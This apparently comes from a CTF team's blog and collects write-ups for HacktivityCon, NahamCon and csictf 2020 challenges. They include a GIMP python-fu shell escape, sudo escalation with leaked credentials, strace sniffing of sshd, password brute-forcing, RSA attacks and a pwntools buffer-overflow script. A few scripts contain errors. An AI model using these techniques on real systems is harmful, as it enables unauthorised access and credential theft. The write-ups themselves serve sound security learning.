Pwnie Island CTF Team Writeups are gold and you get them for free

HacktivityCon CTF 2020 Writeups Navigation

Intro

cert

The pwn and web categories are really good. Other challs are either standard or guessy.

  1. Pwn
  2. Crypto
  3. Web
  4. Misc
  5. Scripting
  6. Forensics
  7. Steg
  8. OSINT

HacktivityCon CTF OSINT Writeup

  1. Intro
  2. Whale Watching
  3. World Hotspots

Intro

Two easy OSINT challs. Guessing skill improved!

Whale Watching

Topics

  • Docker

Challenge

Whale Watching

Docker

Pull:

$ docker pull johnhammond/whale_watching

Inspect and grep flag:

$ docker inspect johnhammond/whale_watching | grep flag{

Flag

flag{call_me_ishmael}

World Hotspots

Topics

  • MAC address OSINT

Challenge

World Hotspots

Wigle

We are given a MAC address:

9C:EF:D5:FB:9F:F0

Search it on wiget.net.

Flag

flag{network_osint}

HacktivityCon CTF Misc Writeup

  1. Intro
  2. Pseudo
  3. Cat Cage
  4. Visualism
  5. His Story
  6. Dumpster Diving

Pseudo

Topics

  • backdoor

Challenge

Pseudo

Connect

$ ssh -p 50014 user@jh2i.com
# password is "userpass"

Analysis

This chall has something to do with sudo -l obviously, but we can’t run sudo directly:

sudo -l

Look for any file related to sudo:

find

Note that there is a README file inside /etc/sudoers.d containing the credential of another user:

README

The credential is todd:needle_in_a_haystack. Even better, this user is able to execute commands as root without password. Switch user:

$ su todd
# password is "needle_in_a_haystack"

The flag is in the root home directory:

flag

Flag

flag{hmmm_that_could_be_a_sneaky_backdoor}

Cat Cage

Topics

  • cat

Challenge

Cat Cage

Connect

$ nc jh2i.com 50000

Analysis

Check all options of cat:

help

We will use -A here:

cat

Flag

flag{thats_a_good_trick_heres_some_catnip}

Visualism

Topics

  • guessing

Challenge

Visualism

Connect

$ nc jh2i.com 50025

Analysis

This chall brings your guessing skill to another level. Basically you need to find a base64 string, decode and get a hint, then look for more base64 strings. Base64 egg hunting!

Flag

flag{cleanup_your_vimrc}

His Story

Topics

  • export
  • PATH variable

Challenge

His Story

Connect

$ nc jh2i.com 50001

Analysis

From this article we learn that history -r <flie> reads the content of a file and appends the content to the history list:

help

Do it:

$ history -r flag.txt
$ history

history

Flag

flag{history_is_written_by_the_victor}

Dumpster Diving

Topics

Challenge

Dumpster Diving

Connect

$ nc jh2i.com 50006

Analysis

Todo!

Flag


NahamCon CTF 2020 Writeups Navigation

Intro

cert

The pwn category is really good. Other challs are standard.

  1. Crypto
  2. Misc
  3. Forensics
  4. Steg
  5. OSINT

NahamCon CTF OSINT Writeup

  1. Intro
  2. Time Keeper
  3. New Years Resolution
  4. Finsta
  5. Tron

Intro

Easy and standard OSINT challs. Tron was interesting, but still easy.

Time Keeper

Topics

Wayback Machine

To examine snapshots of a website in the history, use Wayback Machine. In this case, there is a a snapshot taken on April 18, 2020:

wayback machine

It suggests that we can find the flag at:

https://web.archive.org/web/20200418213402/https://apporima.com/flag.txt

Flag

JCTF{the_wayback_machine}

New Years Resolution

Topics

  • dig (DNS enumeration)

Dig

$ dig jh2i.com ANY

Flag

flag{next_year_i_wont_use_spf}

Finsta

Topics

  • Instagram OSINT

Instagram

instagram

Flag

flag{i_feel_like_that_was_too_easy}

Tron

Topics

Sherlock

$ cat NahamConTron.txt 
https://www.polarsteps.com/NahamConTron
https://www.github.com/NahamConTron
https://www.instagram.com/NahamConTron
https://www.meetme.com/NahamConTron
https://www.gotinder.com/@NahamConTron
https://www.wikipedia.org/wiki/User:NahamConTron
https://www.babyblog.ru/user/info/NahamConTron
https://tracr.co/users/1/NahamConTron
Total Websites Username Detected On : 8

Github

https://github.com/NahamConTron/dotfiles

.bash_history

.bash_history

The command used is:

$ ssh -i config/id_rsa nahamcontron@jh2i.com -p 50033

ida_rsa

id_rsa

Save this file to your local machine.

SSH

$ ssh -i id_rsa nahamcontron@jh2i.com -p 50023

Flag

flag{nahamcontron_is_on_the_grid}

NahamCon CTF Misc Writeup

  1. Intro
  2. Vortex
  3. Fake File
  4. Alkatraz
  5. Trapped
  6. Glimpse
  7. Awkward
  8. Roomie
  9. SSH Logger

Intro

The misc category contains a series of linux jailbreaking, privesc and post exploitation challs.

Vortex

Topics

  • strings
  • grep

strings

$ nc jh2i.com 50017 | strings | grep flag{

Flag

flag{more_text_in_the_vortex}

Fake File

Topics

  • wild card

wildcard

$ cat .*

Flag

flag{we_should_have_been_worried_about_u2k_not_y2k}

Alkatraz

Topics

  • bash scripting

Bash Script

$ while read line; do echo $line; done < flag.txt

Flag

flag{congrats_you_just_escaped_alkatraz}

Trapped

Topics

  • trap DEBUG mode

trap help

$ trap --help
trap: trap [-lp] [[arg] signal_spec ...]
    Trap signals and other events.
    
    Defines and activates handlers to be run when the shell receives signals
    or other conditions.
    
    ARG is a command to be read and executed when the shell receives the
    signal(s) SIGNAL_SPEC.  If ARG is absent (and a single SIGNAL_SPEC
    is supplied) or `-', each specified signal is reset to its original
    value.  If ARG is the null string each SIGNAL_SPEC is ignored by the
    shell and by the commands it invokes.
    
    If a SIGNAL_SPEC is EXIT (0) ARG is executed on exit from the shell.  If
    a SIGNAL_SPEC is DEBUG, ARG is executed before every simple command.  If
    a SIGNAL_SPEC is RETURN, ARG is executed each time a shell function or a
    script run by the . or source builtins finishes executing.  A SIGNAL_SPEC
    of ERR means to execute ARG each time a command's failure would cause the
    shell to exit when the -e option is enabled.
    
    If no arguments are supplied, trap prints the list of commands associated
    with each signal.
    
    Options:
      -l        print a list of signal names and their corresponding numbers
      -p        display the trap commands associated with each SIGNAL_SPEC
    
    Each SIGNAL_SPEC is either a signal name in <signal.h> or a signal number.
    Signal names are case insensitive and the SIG prefix is optional.  A
    signal may be sent to the shell with "kill -signal $$".
    
    Exit Status:
    Returns success unless a SIGSPEC is invalid or an invalid option is given.

trap_card

$ trap -- 'cat flag.txt' DEBUG

Flag

flag{you_activated_my_trap_card}

Glimpse

Topics

  • gimp

ssh

ssh -p 50027 user@jh2i.com # password is 'userpass'

gimp

$ gimp-2.8 -idf --batch-interpreter=python-fu-eval -b 'import os; os.execl("/bin/sh", "sh", "-p")'

Flag

flag{just_need_a_glimpse_of_the_flag_please}

Awkward

Topics

  • brute force
  • regular expression

Script

#!/usr/bin/env python3
from pwn import *
import re
from string import printable

#--------setup--------#

host, port = "jh2i.com", 50025

#--------interact--------#

r = remote(host,port)

name = "flag{"
while True:
    for c in printable:
        command = f'grep -ro "{name + c}.*"\n'
        r.send(command)
        response = r.read()
        return_code = re.findall(r"[0-9]+", str(response))[0]
        if int(return_code) == 0:
            if c != '*'
                name += c
                print(name)
                break
            else:
                printf(name + '}')
                break

r.close()

Flag

flag{okay_well_this_is_even_more_awkward}

Roomie

Topics

  • java-rmi
  • ysoserial

Todo!

SSH Logger

Topics

  • pspy64
  • sshd
  • strace

pspy64

root@1e54c66d62e1:~# ./pspy64
2020/06/19 21:38:27 CMD: UID=0    PID=12135  | /usr/sbin/sshd -D -R 
2020/06/19 21:38:27 CMD: UID=0    PID=12122  | ./pspy64 
2020/06/19 21:38:27 CMD: UID=0    PID=12010  | -bash 
2020/06/19 21:38:27 CMD: UID=0    PID=11996  | sshd: root@pts/0     
2020/06/19 21:38:27 CMD: UID=0    PID=1      | /usr/sbin/sshd -D 
2020/06/19 21:38:27 CMD: UID=0    PID=12136  | sshd: [accepted]     
2020/06/19 21:38:27 CMD: UID=1000 PID=12137  | sshd: flag [priv]    
2020/06/19 21:38:27 CMD: UID=1000 PID=12138  | false -c exit 
2020/06/19 21:38:28 CMD: UID=0    PID=12139  | sshd: [accepted]  
2020/06/19 21:38:28 CMD: UID=104  PID=12140  | sshd: [net]          
2020/06/19 21:38:29 CMD: UID=1000 PID=12141  | sshd: flag           
2020/06/19 21:38:30 CMD: UID=0    PID=12143  | sshd: [accepted]  
2020/06/19 21:38:30 CMD: UID=104  PID=12144  | sshd: [net]          
2020/06/19 21:38:30 CMD: UID=0    PID=12145  | sshd: flag [priv]    
2020/06/19 21:38:30 CMD: UID=1000 PID=12146  | false -c exit 
2020/06/19 21:38:31 CMD: UID=0    PID=12147  | sshd: [accepted]  
2020/06/19 21:38:31 CMD: UID=104  PID=12148  | sshd: [net]          
2020/06/19 21:38:31 CMD: UID=1000 PID=12149  | sshd: flag [priv]    
2020/06/19 21:38:31 CMD: UID=1000 PID=12150  | false -c exit 
2020/06/19 21:38:32 CMD: UID=0    PID=12151  | sshd: [accepted]  
2020/06/19 21:38:32 CMD: UID=104  PID=12152  | sshd: [net]          
2020/06/19 21:38:32 CMD: UID=1000 PID=12153  | sshd: flag           
2020/06/19 21:38:32 CMD: UID=1000 PID=12154  | false -c exit 
2020/06/19 21:38:33 CMD: UID=0    PID=12155  | sshd: [accepted]  
2020/06/19 21:38:33 CMD: UID=0    PID=12156  | sshd: [accepted]     
2020/06/19 21:38:33 CMD: UID=0    PID=12157  | sshd: flag [priv]    
2020/06/19 21:38:33 CMD: UID=1000 PID=12158  | false -c exit 
2020/06/19 21:38:34 CMD: UID=0    PID=12159  | sshd: [accepted]  
2020/06/19 21:38:34 CMD: UID=0    PID=12160  | sshd: [accepted]     
2020/06/19 21:38:34 CMD: UID=0    PID=12161  | sshd: flag [priv]    
2020/06/19 21:38:35 CMD: UID=1000 PID=12162  | 
2020/06/19 21:38:36 CMD: UID=0    PID=12163  | sshd: [accepted]  
2020/06/19 21:38:36 CMD: UID=0    PID=12164  | sshd: [accepted]     
2020/06/19 21:38:36 CMD: UID=0    PID=12165  | sshd: flag [priv]    
2020/06/19 21:38:36 CMD: UID=1000 PID=12166  | false -c exit

Attach sshd to strace

Check out this article.

root@1e54c66d62e1:~# strace -f -p $(pgrep -f "/usr/sbin/sshd") -s 128 2>&1 | grep flag{

Flag

flag{okay_so_that_was_cool}

NahamCon CTF Forensics Writeup

  1. Intro
  2. Microsooft
  3. Volatile
  4. Cow Pie
  5. Lucky

Intro

Easy forensics challs. I don’t have the intended solution for “Cow Pie” and I couldn’t find any writeup. I’m angry!

Microsooft

Topics

  • Microsoft Word

Unzip

$ unzip microsooft.docx

Flag

flag{oof_is_right_why_gfxdata_though}

Volatile

Topics

  • volatility

imageinfo

$ volatility -f memdump.raw imageinfo
Volatility Foundation Volatility Framework 2.6
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86
                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)
                     AS Layer2 : FileAddressSpace (/root/Desktop/Volatile/memdump.raw)
                      PAE type : PAE
                           DTB : 0x185000L
                          KDBG : 0x8276fc28L
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0x82770c00L
             KUSER_SHARED_DATA : 0xffdf0000L
           Image date and time : 2020-04-20 21:16:55 UTC+0000
     Image local date and time : 2020-04-20 14:16:55 -0700

Method 1: consoles

$ volatility -f memdump.raw --profile=Win7SP1x86 consoles
Volatility Foundation Volatility Framework 2.6
**************************************************
ConsoleProcess: conhost.exe Pid: 3468
Console: 0xc781c0 CommandHistorySize: 50
HistoryBufferCount: 1 HistoryBufferMax: 4
OriginalTitle: %SystemRoot%\system32\cmd.exe
Title: C:\Windows\system32\cmd.exe
AttachedProcess: cmd.exe Pid: 3460 Handle: 0x5c
----
CommandHistory: 0x2f0448 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 1 LastAdded: 0 LastDisplayed: 0
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x5c
Cmd #0 at 0x2f4680: echo JCTF{nice_volatility_tricks_bro}
----
Screen 0x2d62d8 X:80 Y:300
Dump:
Microsoft Windows [Version 6.1.7601]                                            
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.                 
                                                                                
C:\Users\JCTF>echo JCTF{nice_volatility_tricks_bro}                             
JCTF{nice_volatility_tricks_bro}                                                
                                                                                
C:\Users\JCTF>

Method 2: cmdscan

$ volatility -f memdump.raw --profile=Win7SP1x86 cmdscan
Volatility Foundation Volatility Framework 2.6
**************************************************
CommandProcess: conhost.exe Pid: 3468
CommandHistory: 0x2f0448 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 1 LastAdded: 0 LastDisplayed: 0
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x5c
Cmd #0 @ 0x2f4680: echo JCTF{nice_volatility_tricks_bro}
Cmd #1 @ 0x2d0031: ?????????????????????????T???????
Cmd #17 @ 0x2d0037: ??????????????????????T???????
Cmd #36 @ 0x2c00c4: .?/?,???,
Cmd #37 @ 0x2ed038: /?,???????.

Flag

$ JCTF{nice_volatility_tricks_bro}

Cow Pie

Topics

  • strings???

Strings

$ strings manure

Flag

flag{this_flag_says_mooo_what_say_you}

Lucky

Topics

  • LUKS password cracking (grond.sh)

File

$ file lucky.img 
lucky.img: LUKS encrypted file, ver 2 [, , sha256] UUID: 13aacdf5-6a53-4467-80f2-8c1ec5f7d63e

LUKS Password Cracking

You can download grond.sh here.

$ ./grond.sh -t4 -w /usr/share/wordlists/rockyou.txt -d lucky.img

grond.sh

The password is “iloveyou”. The good news is grond.sh also mounts a drive for us so we can read the flag directly in file manager:

file manager

Flag

flag{lucky_it_was_an_easy_password}

NahamCon CTF Steg Writeup

  1. Intro
  2. Ksteg
  3. Doh
  4. Beep Boop
  5. Snowflake
  6. My Apologies
  7. Dead Swap
  8. Walkman
  9. Old School

Intro

These stego challenges are really standard. The good ones are:

  1. Snowflake (brute force stegsnow password)
  2. Dead Swap (hex to binary swap)

Ksteg

Topics

  • jsteg

jsteg

$ jsteg reveal luke.jpg flag.txt

Usually jsteg works for jpg files and zsteg works for png files, but it’s a good practice to try both tools.

Flag

flag{yeast_bit_steganography_oops_another_typo}

Doh

Topics

  • steghide

steghide

$ steghide extract -sf doh.jpg
# empty password

This is just part of the routine checks for image files.

Flag

JCTF{an_annoyed_grunt}

Beep Boop

Topics

  • multimon-ng

multimon-ng

The audio file sounds like DTMF (dual tone multi frequency), which is the sound of a telephone’s touch keys. It can be analysed using multimon-ng:

$ multimon-ng -t wav -a DTMF flag.wav

Script

#!/usr/bin/env python3
from Crypto.Util.number import long_to_bytes

c = 46327402297754110981468069185383422945309689772058551073955248013949155635325
m = long_to_bytes(c).decode()

print(m)

Flag

flag{do_you_speak_the_beep_boop}

Snowflake

Topics

  • stegsnow
  • password cracking

stegsnow

As the challenge name suggests, we should use stegsnow:

$ stegsnow -C frostythesnowman.txt
o gl nmrseDIempsksdr adsiegb0a t	ltrN)

It doesn’t give us a plaintext, so there could be a passphrase protecting it. Let’s brute force the passphrase with rockyou.txt:

Brute force

#!/bin/bash

file=/usr/share/wordlists/rockyou.txt
while read -r line
do
        printf "\n$line "
        stegsnow -C -Q -p "$line" frostythesnowman.txt
done < $file

Run

$ ./solve.sh | grep "{.*}"

Flag

JCTF{gemmy_spinning_snowflake}

My Apologies

Topics

  • unicode homoglyphs

Ciphertext

Turns out the steganographⅰc technique we were
using dⅰdn't really make
much sense... but we kept it anyway. Oh well!

Unicode homoglyphs

The ciphertext looks like a sentence with bad format. This type of steg is called “Unicode homoglyphs” and it can be decoded using the following online tool:

https://twsteg.devsec.fr/

Flag

flag_i_am_so_sorry_steg_sucks

Dead Swap

Topics

  • xxd
  • ff/fe to 0/1 swap

xxd

$ xxd deadswap | grep -v "ffff ffff ffff ffff ffff ffff ffff ffff"
004ffee0: ffff ffff ffff ffff fffe fefe fefe fffe  ................
004ffef0: fffe fefe ffff ffff fffe feff ffff fffe  ................
004fff00: fffe fefe fffe fefe fffe fefe ffff fefe  ................
004fff10: fffe fffe fefe fefe fffe fefe feff fffe  ................
004fff20: fffe feff fefe fffe fffe fffe fefe fefe  ................
004fff30: fffe feff fefe feff fffe feff feff fffe  ................
004fff40: fffe fffe fefe fefe fffe feff fffe fefe  ................
004fff50: fffe feff fefe feff fffe feff feff fffe  ................
004fff60: fffe feff fefe fefe fffe feff fffe ffff  ................
004fff70: fffe fffe fefe fefe fffe fefe fffe fffe  ................
004fff80: fffe feff fefe fefe fffe fefe feff fffe  ................
004fff90: fffe fffe fefe fefe fffe feff fffe fffe  ................
004fffa0: fffe fefe ffff feff fffe feff ffff fffe  ................
004fffb0: fffe fffe fefe fefe fffe fefe fffe ffff  ................
004fffc0: fffe feff ffff fffe fffe feff feff ffff  ................
004fffd0: fffe fefe fffe fefe fffe fefe feff fefe  ................
004fffe0: fffe feff fffe fefe fffe feff ffff fffe  ................
004ffff0: fffe feff fefe ffff fffe feff fffe feff  ................

The hex dump of the file shows whole bunch of ffff ffff. Reverse grep this string reveals that the file also have some fe. So the file is just made of fe and ff. It is reasonable to guess that they correspond to 0 and 1.

Decode

After trial and error, we have:

ff -> 0
fe -> 1

Script

#!/usr/bin/env python3

c = 0b000000000111110101110000011000010111011101110011010111110111100101101101010111110110111001101001010111110110011101101110011010010110111101100100010111110111010101101111011110010101111101100101011100100110000101011111011101000110000101101000011101110111101101100111011000010110110001100110
c = hex(c)
m = bytes.fromhex(c[2:]).decode()

print(m[::-1])

Flag

flag{what_are_you_doing_in_my_swap}

Walkman

Topics

  • wav-steg

Wav-steg

$ wav-steg -r -s wazaaa.wav -o flag.txt -n 1 -b 100

This is also part of the routine checks for wav files.

Flag

flag{do_that_bit_again}

Old School

Topics

  • zsteg

zsteg

$ zsteg -a hackers.bmp | tee zsteg_output.txt

This challenge tells us if zsteg alone doesn’t work, try zsteg -a where -a stands for “all”.

Flag

JCTF{at_least_the_movie_is_older_than_this_software}

NahamCon CTF Crypto Writeup

  1. Intro
  2. Docxor
  3. Homecooked
  4. Twinning
  5. Ooo-la-la
  6. Unvreakable Vase
  7. December
  8. Raspberry
  9. Elsa4

Intro

Easy crypto challs in general. “Elsa4” is a bit tough and I can’t manage to solve.

Docxor

Topics

  • xortool

Challenge

Docxor

homework

xortool

$ xortool -l 4 -c "\x00" homework

Here the choice of “most possible char” is \x00, which is a common practice.

strings

$ strings 0.out

It is clear that the file is a Microsoft Word document. Rename 0.out to flag.doc would reveal its content.

Flag

flag{xor_is_not_for_security}

Homecooked

Topics

  • prime generation

Challenge

Homecooked

decrypt.py

Source Code

import base64
num = 0
count = 0
cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="

def a(num):
    if (num > 1):
        for i in range(2,num):
            if (num % i) == 0:
                return False
                break
        return True
    else:
        return False
       
def b(num):
    my_str = str(num)
    rev_str = reversed(my_str)
    if list(my_str) == list(rev_str):
       return True
    else:
       return False


cipher = base64.b64decode(cipher_b64).decode().split(",")

while(count < len(cipher)):
    if (a(num)):
        if (b(num)):
            print(chr(int(cipher[count]) ^ num), end='', flush=True)
            count += 1
            if (count == 13):
                num = 50000
            if (count == 26):
                num = 500000
    else:
        pass
    num+=1

print()

Analysis

This decrypt script isn’t working properly because the implementation of function a() is bad. So this function is essentially the naive implementation of isprime(). When num gets large, the for loop would run forever. A trick to optimize this function is to run the for loop in the range of (2, int(sqrt(num)) + 1), since no factor of num would exceed its square root:

for i in range(2, int(sqrt(num)) + 1):

There is a nice explanation here on stackoverflow.

Script

#!/usr/bin/env python3
import base64
from math import sqrt

num = 0
count = 0
cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="

def a(num):
    if (num > 1):
        # only this for loop is modified
        for i in range(2, int(sqrt(num)) + 1):
            if (num % i) == 0:
                return False
                break
        return True
    else:
        return False
       
def b(num):
    my_str = str(num)
    rev_str = reversed(my_str)
    if list(my_str) == list(rev_str):
       return True
    else:
       return False


cipher = base64.b64decode(cipher_b64).decode().split(",")

while(count < len(cipher)):
    if (a(num)):
        if (b(num)):
            print(chr(int(cipher[count]) ^ num), end='', flush=True)
            count += 1
            if (count == 13):
                num = 50000
            if (count == 26):
                num = 500000
    else:
        pass
    num+=1

print()

Flag

flag{pR1m3s_4re_co0ler_Wh3n_pal1nDr0miC}

Ooo-la-la

Topics

  • Fermat factorization

Challenge

Ooo-la-la

prompt.txt

Analysis

When the two factors p and q of n is close (specifically, when p - q is less than the fourth root of n), we could use Fermat factorization to factor n. The detailed proof can be found in this blog post (highly recommand to read all four parts carefully).

This challenge can be easily solved using factordb, but let’s build a script for learning purpose:

Script

#!/usr/bin/env python3
from Crypto.Util.number import inverse, long_to_bytes

#--------data--------#

N = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091
e = 65537
c = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983

#--------helper functions--------#

def isqrt(n):
  x = n
  y = (x + n // x) // 2
  while y < x:
    x = y
    y = (x + n // x) // 2
  return x

# fermat factorization
def fermat(n, verbose=False):
    a = isqrt(n) # int(ceil(n**0.5))
    b2 = a*a - n
    b = isqrt(n) # int(b2**0.5)
    count = 0
    while b*b != b2:
        if verbose:
            print('Trying: a=%s b2=%s b=%s' % (a, b2, b))
        a = a + 1
        b2 = a*a - n
        b = isqrt(b2) # int(b2**0.5)
        count += 1
    p=a+b
    q=a-b
    assert n == p * q
    return p, q

#--------rsa--------#

p, q = fermat(N)
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, N)
flag = long_to_bytes(m).decode()

print(flag)

Flag

flag{ooo_la_la_those_are_sexy_primes}

Twinning

Topics

  • RSA twin primes

Challenge

Twinning

Analysis

The challenge name suggests that this RSA cryptosystem is weak under twin primes attack. To verify this fact, you can connect to the server multiple times and query the factors of the given n from factordb. This challenge could be done manually, but let’s still automate it for learning purposes.

The nice thing about twin primes is that we don’t even need to factor anything. The factors p and q satisfy the following elementary equations:

p = abs(int(sqrt(n + 1)) - 1)
q = abs(int(-sqrt(n + 1)) - 1)

The detailed proof can be found in this blog post (highly recommand to read all four parts carefully).

Script

#!/usr/bin/env python3
from pwn import *
from Crypto.Util.number import inverse, long_to_bytes
from math import sqrt

#--------setup--------#

host, port = "jh2i.com", 50013

#--------interact--------#

r = remote(host, port)

# read data
data = r.readuntil("What is the PIN?\n").decode().split()

# parse data
data[12] = data[12].strip("()").split(",")
e, N = int(data[12][0]), int(data[12][1])
c = int(data[-5])

# compute twin primes
p = abs(int(sqrt(N + 1)) - 1)
q = abs(int(-sqrt(N + 1)) - 1)

# rsa
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = str(pow(c, d, N))

# print flag
r.sendline(m)
log.info(r.readall().decode())

Flag

flag{thats_the_twinning_pin_to_win}

Unvreakable Vase

Topics

  • Base64 brute force

Challenge

Unvreakable Vase

prompt.txt

Ciphertext

zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=

This text looks like base64, but there is no uppercase letters. So what’s happening here is that the flag is encoded as:

base64.b64encode(flag).lower()

To recover the correct base64 encoding, first we need to know the algorithm of base64.

Base64

In base64 scheme, a message is divided into 3-byte (24 bits) chunks. Each chunk is encoded as a 4-character chunk, each character consists 6 bits. This means chunks and chunks are independent. In our case, we simply can brute force each chunk instead of the whole encoded message. That is, we brute force those 4 characters in the chunk, and each character has 2 possibilities: upper or lower. The probability space is thus 2^4 = 16, which is really small.

Script

#!/usr/bin/env python3
import string
import itertools
from base64 import b64decode

c = "zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30="
charset = string.ascii_lowercase + "_{}"

# split c into 4-char chunks
chunks = []
for i in range(0, len(c), 4):
	chunks.append(c[i:i+4])

# brute force each chunks
flag = b""
possible_flags = []
for chunk in chunks:
	pool = list(map("".join, itertools.product(*((ch.upper(), ch.lower()) for ch in chunk))))
	for possibility in pool:
		decoded = b64decode(possibility)
		if all(chr(ch) in charset for ch in decoded):
			flag += decoded
			break

print(flag.decode())

Flag

flag{does_this_even_count_as_cryptooo}

December

Topics

  • DES weak keys

Challenge

December

source.py

ciphertext

Source Code

#!/usr/bin/env python

from Crypto.Cipher import DES

with open('flag.txt', 'rb') as handle:
	flag = handle.read()

padding_size = len(flag) + (8 - ( len(flag) % 8 ))
flag = flag.ljust(padding_size, b'\x00')

with open('key', 'rb') as handle:
	key = handle.read().strip()

iv = "13371337"
des = DES.new(key, DES.MODE_OFB, iv)
ct = des.encrypt(flag)

with open('ciphertext','wb') as handle:
	handle.write(ct)

So this is a DES cipher in OFB mode. The initialization vector iv is known. It means we just need to get the secret key for decryption. In such case, a common trick to use is testing for DES weak keys.

DES weak keys

Wikipedia explains why DES weak keys exist. These keys are:

weak_keys = [
    b'\x01\x01\x01\x01\x01\x01\x01\x01',
    b'\xFE\xFE\xFE\xFE\xFE\xFE\xFE\xFE',
    b'\xE0\xE0\xE0\xE0\xF1\xF1\xF1\xF1',
    b'\x1F\x1F\x1F\x1F\x0E\x0E\x0E\x0E',
]

Script

#!/usr/bin/env python3
from Crypto.Cipher import DES

weak_keys = [
    b'\x01\x01\x01\x01\x01\x01\x01\x01',
    b'\xFE\xFE\xFE\xFE\xFE\xFE\xFE\xFE',
    b'\xE0\xE0\xE0\xE0\xF1\xF1\xF1\xF1',
    b'\x1F\x1F\x1F\x1F\x0E\x0E\x0E\x0E',
]

iv = b"13371337"

with open("ciphertext", "rb") as f:
	ct = f.read()

	for key in weak_keys:
		des = DES.new(key, DES.MODE_OFB, iv)
		m = des.decrypt(ct)
		if b"flag{" in m:
			print(m.decode())

Flag

flag{this_is_all_i_need}

Raspberry

Topics

  • RSA multiple primes

Challenge

Raspberry

prompt.txt

As the description suggests, the modulus N has many prime factors, so this challenge falls into the “multi-prime RSA” category.

factordb-python

Coping and pasting many factors directly from Factordb can be messy. For a cleaner solution, use factordb-python.

Script

#!/usr/bin/env python3
from Crypto.Util.number import inverse, long_to_bytes
from factordb.factordb import FactorDB

#--------data--------#

N = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317
e = 65537
c = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681

#--------factordb--------#

f = FactorDB(N)
f.connect()
primes = f.get_factor_list()

#--------rsa--------#

phi = 1
for prime in primes:
    phi *= prime - 1

d = inverse(e, phi)
m = pow(c, d, N)
flag = long_to_bytes(m).decode()

print(flag)

Flag

flag{there_are_a_few_extra_berries_in_this_one}

Elsa4

Topics

  • LC4

Challenge

Elsa4

Todo!!

csictf 2020 Writeups Navigation

Intro

ranking

The reversing category is really good. The pentest series is cool, and there are several interesting challs in the misc category. Other challs are easy.

  1. Pwn
  2. Crypto
  3. Misc

csictf 2020 Pwn Writeup

  1. Intro
  2. pwn intended 0x1
  3. pwn intended 0x2
  4. pwn intended 0x3
  5. Secret Society
  6. Global Warming
  7. Smash

Intro

The official writeup can be found here. I did not solve “Smash” during the CTF and I feel silly. There is a format string vulnerability in that binary, but it is just a rabbit hole. All these challenges are pretty basic and beginner-friendly.

pwn intended 0x1

Topics

  • overwrite variable

Challenge

pwn intended 0x1

File

$ file pwn-intended-0x1 
pwn-intended-0x1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1fc0accd801ea951a4ec2f7f8c804e0559ccb1db, for GNU/Linux 3.2.0, not stripped

Checksec

$ checksec pwn-intended-0x1 
[*] '/root/Dropbox/CTF/csictf_2020/Pwn/pwn_intended_0x1/pwn-intended-0x1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Pseudocode

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-30h]
  int v5; // [rsp+2Ch] [rbp-4h]

  v5 = 0;
  setbuf(stdout, 0LL);
  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  puts("Please pour me some coffee:");
  gets(&v4);
  puts("\nThanks!\n");
  if ( v5 )
  {
    puts("Oh no, you spilled some coffee on the floor! Use the flag to clean it.");
    system("cat flag.txt");
  }
  return 0;
}

Analysis

Our task is to overwrite the variable v5 with some non-zero value, say “AAAA”.

Script

#!/usr/bin/env python3
from pwn import *

#--------setup--------#

context(arch="amd64", os="linux")

elf = ELF("pwn-intended-0x1", checksec=False)
local = False

if local:
  r = elf.process()
else:
  host = "chall.csivit.com"
  port = 30001
  r = remote(host, port)

#--------overwrite--------#

offset = 48

payload = flat(
  b"A" * offset,
)

r.sendlineafter("Please pour me some coffee:\n", payload)
log.info(r.readall().decode())

Flag

